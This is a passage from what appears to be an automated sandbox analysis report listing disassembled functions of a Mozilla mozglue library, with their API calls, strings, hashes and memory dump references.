moz_xmalloc.MOZGLUE(000000E0,00000000,?,6C51DA31,00100000,?,?,00000000,?), ref: 6C52CDA4

Part of subcall function 6C4ECA10: malloc.MOZGLUE(?), ref: 6C4ECA26

Part of subcall function 6C52D130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6C52CDBA,00100000,?,00000000,?,6C51DA31,00100000,?,?,00000000,?), ref: 6C52D158
Part of subcall function 6C52D130: InitializeConditionVariable.KERNEL32(00000098,?,6C52CDBA,00100000,?,00000000,?,6C51DA31,00100000,?,?,00000000,?), ref: 6C52D177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6C51DA31,00100000,?,?,00000000,?), ref: 6C52CDC4

Part of subcall function 6C527480: ReleaseSRWLockExclusive.KERNEL32(?,6C5315FC,?,?,?,?,6C5315FC,?), ref: 6C5274EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6C51DA31,00100000,?,?,00000000,?), ref: 6C52CECC

Part of subcall function 6C4ECA10: mozalloc_abort.MOZGLUE(?), ref: 6C4ECAA2

Part of subcall function 6C51CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6C52CEEA,?,?,?,?,00000000,?,6C51DA31,00100000,?,?,00000000), ref: 6C51CB57
Part of subcall function 6C51CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6C51CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6C52CEEA,?,?), ref: 6C51CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6C51DA31,00100000,?,?,00000000,?), ref: 6C52D058

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: 2ef53b228b6434f9395b7aa7b905f0eda60632a9e33fa6389d9f30af5822c901
Instruction ID: 2902b949aeb8918f4759fcd6c962dbc868010645aee1d02b08ccd4cbd59e6c29
Opcode Fuzzy Hash: 2ef53b228b6434f9395b7aa7b905f0eda60632a9e33fa6389d9f30af5822c901
Instruction Fuzzy Hash: 59D14D71A04B469FD718CF28C880B99F7E1BF89308F01866DD95987752EB31F9A5CB81

Function 6C4E1720 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C4E17B2
memset.VCRUNTIME140(?,00000000,?,?), ref: 6C4E18EE
free.MOZGLUE(?), ref: 6C4E1911
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C4E194C

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnfreememcpymemset
String ID:
API String ID: 3725304770-0
Opcode ID: 8b842a0d855b58e5268c5b0af0b88db5c864267e44afecef110610a496ddb1fc
Instruction ID: 217e7838c2e53087907c43c068332d5974817e67101c5fa79c10eee9798234c2
Opcode Fuzzy Hash: 8b842a0d855b58e5268c5b0af0b88db5c864267e44afecef110610a496ddb1fc
Instruction Fuzzy Hash: 0081BD70A112059FCB08CF68D894DAEBBB1FF89315F05466DE851AB752D730E849CBA2

Function 6C4F5C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C4F5D40
EnterCriticalSection.KERNEL32(6C55F688), ref: 6C4F5D67
__aulldiv.LIBCMT ref: 6C4F5DB4
LeaveCriticalSection.KERNEL32(6C55F688), ref: 6C4F5DED

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 348b974e5562f03ae68c908c922fa127b59e482b2fe6b703d768d85cc09853de
Instruction ID: 77fa3a47cfa6e74ef20e546193986b6b62af70c4a1057a89734af9807bb22736
Opcode Fuzzy Hash: 348b974e5562f03ae68c908c922fa127b59e482b2fe6b703d768d85cc09853de
Instruction Fuzzy Hash: 2F516171E011198FCF08CF68CC54EAEBBB2FB85304F5A861DD865A7B91C7706946CBA4

Function 6C4DCDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4DCEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6C4DCEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6C4DCF4E

Strings

0, xrefs: 6C4DCF30

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: c58fd33a75997e4271e19459891d7e4beff0685fb622f0494bd26d71b54ae881
Instruction ID: 9dcfe6377f33820f80d7c9f88ee371aabf01a07bc61ae29bf4b730ddd3acd940
Opcode Fuzzy Hash: c58fd33a75997e4271e19459891d7e4beff0685fb622f0494bd26d71b54ae881
Instruction Fuzzy Hash: 5A51F275A00216CFCB00DF18C8A0E9AB7A5EF99304F1A859DD8595F391D771BD06CBE0

Function 6C5377D0 Relevance: 6.1, APIs: 4, Instructions: 113stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5377FA
?StringToDouble@StringToDoubleConverter@double_conversion@@QBENPBDHPAH@Z.MOZGLUE(00000001,00000000,?), ref: 6C537829

Part of subcall function 6C50CC38: GetCurrentProcess.KERNEL32(?,?,?,?,6C4D31A7), ref: 6C50CC45
Part of subcall function 6C50CC38: TerminateProcess.KERNEL32(00000000,00000003,?,?,?,?,6C4D31A7), ref: 6C50CC4E

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C53789F
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C5378CF

Part of subcall function 6C4D4DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C4D4E5A
Part of subcall function 6C4D4DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C4D4E97

Part of subcall function 6C4D4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C513EBD,6C513EBD,00000000), ref: 6C4D42A9

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$DtoaProcessstrlen$Ascii@Builder@2@Builder@2@@Converter@CreateCurrentDecimalDouble@EcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestTerminateV12@
String ID:
API String ID: 2525797420-0
Opcode ID: 15d0dff36e48aff2672679de65cb2820a04b6fb4f891c78e181ea1d4059c63d8
Instruction ID: 19fec33356f4042df9c3222076b6b7aefad17e478c77b6234113b98c4945b272
Opcode Fuzzy Hash: 15d0dff36e48aff2672679de65cb2820a04b6fb4f891c78e181ea1d4059c63d8
Instruction Fuzzy Hash: 8B419271904746DBD300DF29C88096AFBF4FFCA254F604A1DE4A987650EB70E559CBD2

Function 6C516470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6C5182BC,?,?), ref: 6C51649B

Part of subcall function 6C4ECA10: malloc.MOZGLUE(?), ref: 6C4ECA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5164A9

Part of subcall function 6C50FA80: GetCurrentThreadId.KERNEL32 ref: 6C50FA8D
Part of subcall function 6C50FA80: AcquireSRWLockExclusive.KERNEL32(6C55F448), ref: 6C50FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C51653F
free.MOZGLUE(?), ref: 6C51655A

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: be4d7da87eca18513b5b250e1b43df9153d5adcf6539c9d35dfa461125e30403
Instruction ID: 9b245d6fd10c9d1d06af1f5f27ad3b9c753e7a9e1c8f7e79089778fb14de1616
Opcode Fuzzy Hash: be4d7da87eca18513b5b250e1b43df9153d5adcf6539c9d35dfa461125e30403
Instruction Fuzzy Hash: CD3192B5A083059FD700DF14D884A9BBBE4FFD8314F41842EE89A97751EB34E909CB92

Function 6C50FF60 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,80000001,80000000,?,6C52D019,?,?,?,?,?,00000000,?,6C51DA31,00100000,?), ref: 6C50FFD3
memcpy.VCRUNTIME140(00000000,?,?,?,6C52D019,?,?,?,?,?,00000000,?,6C51DA31,00100000,?,?), ref: 6C50FFF5
free.MOZGLUE(?,?,?,?,?,6C52D019,?,?,?,?,?,00000000,?,6C51DA31,00100000,?), ref: 6C51001B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,6C52D019,?,?,?,?,?,00000000,?,6C51DA31,00100000,?,?), ref: 6C51002A

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 826125452-0
Opcode ID: a149b102babba798f9ff6286ccb36d4675ef398ffe8a3001b83e2abc91aea669
Instruction ID: 99d04b869f29be0ca19d5b413b4f1c55629f073a6cb6ee33d7baeca538903683
Opcode Fuzzy Hash: a149b102babba798f9ff6286ccb36d4675ef398ffe8a3001b83e2abc91aea669
Instruction Fuzzy Hash: E221F1B2B002159FD7089E689C848AEB7BAEBC53247254338E425D7780EB30AD0183E4

Function 6C4EB4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C4EB4F5
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C4EB502
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C4EB542
free.MOZGLUE(?), ref: 6C4EB578

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 08ca15f70d40ecfbd3a0c7fa69d47b5c680fe669691201a562a601a9582ed100
Instruction ID: 9669f87948b761f7414db17a782b4c70a1912c5893f4034b5b6bf1d8ff4c1abc
Opcode Fuzzy Hash: 08ca15f70d40ecfbd3a0c7fa69d47b5c680fe669691201a562a601a9582ed100
Instruction Fuzzy Hash: 2811C030A04B41C7D712CF29C904F62B3B0FF9A32AF96970AD84953A01EBB1A1C5C798

Function 6C513DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6C4DF20E,?), ref: 6C513DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6C4DF20E,00000000,?), ref: 6C513DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C513E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6C513E0E

Part of subcall function 6C50CC00: GetCurrentProcess.KERNEL32(?,?,6C4D31A7), ref: 6C50CC0D
Part of subcall function 6C50CC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6C4D31A7), ref: 6C50CC16

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: 0e09480a334a0569034964d65b9622b48cafa0f3db79abd914e0dd174b48b742
Instruction ID: 058649f14acf1def78cac8b1e269350aceeee4c275fa1b4db5eb8aeb2e01ae3a
Opcode Fuzzy Hash: 0e09480a334a0569034964d65b9622b48cafa0f3db79abd914e0dd174b48b742
Instruction Fuzzy Hash: 42F01271600208BBD700AB54DC45DAB376DEF86624F454020FD0857741D775BE1996FB

Function 6C522050 Relevance: 6.0, APIs: 4, Instructions: 33threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C52205B
AcquireSRWLockExclusive.KERNEL32(?,?,?,00000000,?,6C52201B,?,?,?,?,?,?,?,6C521F8F,?,?), ref: 6C522064
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C52208E
free.MOZGLUE(?,?,?,00000000,?,6C52201B,?,?,?,?,?,?,?,6C521F8F,?,?), ref: 6C5220A3

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 24d2cd46e4179c829dc1f1ddedd9a5f168f704b63f01ff979a29d83cb84f4a01
Instruction ID: 0997b760b8da0b83814a40e0583a75971d263146d3fc7ae9df4edc545a146a52
Opcode Fuzzy Hash: 24d2cd46e4179c829dc1f1ddedd9a5f168f704b63f01ff979a29d83cb84f4a01
Instruction Fuzzy Hash: F9F0B4752007009BC7119F16DC8CB5BBBF8EF86334F15011AE50687710C776A806CB9A

Function 6C5285B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6C5285D3

Part of subcall function 6C4ECA10: malloc.MOZGLUE(?), ref: 6C4ECA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6C528725

Strings

map/set<T> too long, xrefs: 6C528720

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: c8d24721557e90062b8218c3c3a9468ac1de74509a9990758c16284bf67071d0
Instruction ID: 4f385dedfb98fabe8df844aeb02051127d12919e1f1133b2009063d432a9556c
Opcode Fuzzy Hash: c8d24721557e90062b8218c3c3a9468ac1de74509a9990758c16284bf67071d0
Instruction Fuzzy Hash: 0F515575A00651CFD701CF58C884A59BBF1BF99318F18C18AD8595BB92C339F885CF92

Function 6C4DBD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C4DBDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C4DBE8F

Strings

0, xrefs: 6C4DBE5B

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: 3fbdef1a850ca7a56c984dc1bf4d8afb2d0b8183ef3f25e9f3380088a8db82ed
Instruction ID: c88cef075f4fa102286f285d45a5ca668dd5e84417fdd9d6f7db4a4a2625f908
Opcode Fuzzy Hash: 3fbdef1a850ca7a56c984dc1bf4d8afb2d0b8183ef3f25e9f3380088a8db82ed
Instruction Fuzzy Hash: BC418F71909745CFC701EF28C491E9BB7F4AF8A348F018A1DF985A7611D730E9598B82

Function 6C513CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C513D19
mozalloc_abort.MOZGLUE(?), ref: 6C513D6C

Strings

d, xrefs: 6C513D58

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: cd8c6bb0fa601f5d34fbf9696ba13a16bea354c52a3fa1c5b758cf0b56afb9bf
Instruction ID: 798184d4731e7365e791aebf73fce770570e0db22dff71d511fec8476529562e
Opcode Fuzzy Hash: cd8c6bb0fa601f5d34fbf9696ba13a16bea354c52a3fa1c5b758cf0b56afb9bf
Instruction Fuzzy Hash: 56110831E18648DBEB009F69CC284EDB775EF86358B858219DC4497A01FB30A584C390

Function 6C4E4730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C4E44B2,6C55E21C,6C55F7F8), ref: 6C4E473E
GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C4E474A

Strings

GetNtLoaderAPI, xrefs: 6C4E4744

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetNtLoaderAPI
API String ID: 1646373207-1628273567
Opcode ID: 771f8ead10cec1ebc47054a44f378b9bacdaa03b05bdd9b86254f2945e7e8988
Instruction ID: a56501515a617780b0a2058231e9d942cfbc90158428c02e23cc650ca1ae5ace
Opcode Fuzzy Hash: 771f8ead10cec1ebc47054a44f378b9bacdaa03b05bdd9b86254f2945e7e8988
Instruction Fuzzy Hash: 0F0156757052149FDF00AFAA8C489297BF9EB8F352B474066EA05C7750DB74D8018F95

Function 6C536DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6C536E22
__Init_thread_footer.LIBCMT ref: 6C536E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6C536E1D

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: 4d94d81df386666e9d4fddb29fcc1d44f31e087122a894daca7f1f1d2ff3a52b
Instruction ID: c7aeced5866600bb9a16490487c29d1b50db2a559caed5be62b3a2d55d12c8f6
Opcode Fuzzy Hash: 4d94d81df386666e9d4fddb29fcc1d44f31e087122a894daca7f1f1d2ff3a52b
Instruction Fuzzy Hash: 14F05931604340CBDA008B68CC50A9B37716743318F85126AC40987BE1EB20B91ADA97

Function 6C4E9E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C4E9EEF

Strings

NaN, xrefs: 6C4E9EC1
Infinity, xrefs: 6C4E9EB7

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: db8ea4d9fe78ec3397bdd0de8f521ceae89891a4b3119149513f44145b856bef
Instruction ID: 86a14d6c1b00ad47588512d7a9964f8b28f3a7fd2e9f82cba2d3e0e0e93a4a97
Opcode Fuzzy Hash: db8ea4d9fe78ec3397bdd0de8f521ceae89891a4b3119149513f44145b856bef
Instruction Fuzzy Hash: EEF0CDB1600241CBDB00CF1CDC45FA533B1B75730AFA20B5AC6040BBC0D7766556CA8A

Function 6C4E6C30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0KQl,?,6C514B30,80000000,?,6C514AB7,?,6C4D43CF,?,6C4D42D2), ref: 6C4E6C42

Part of subcall function 6C4ECA10: malloc.MOZGLUE(?), ref: 6C4ECA26

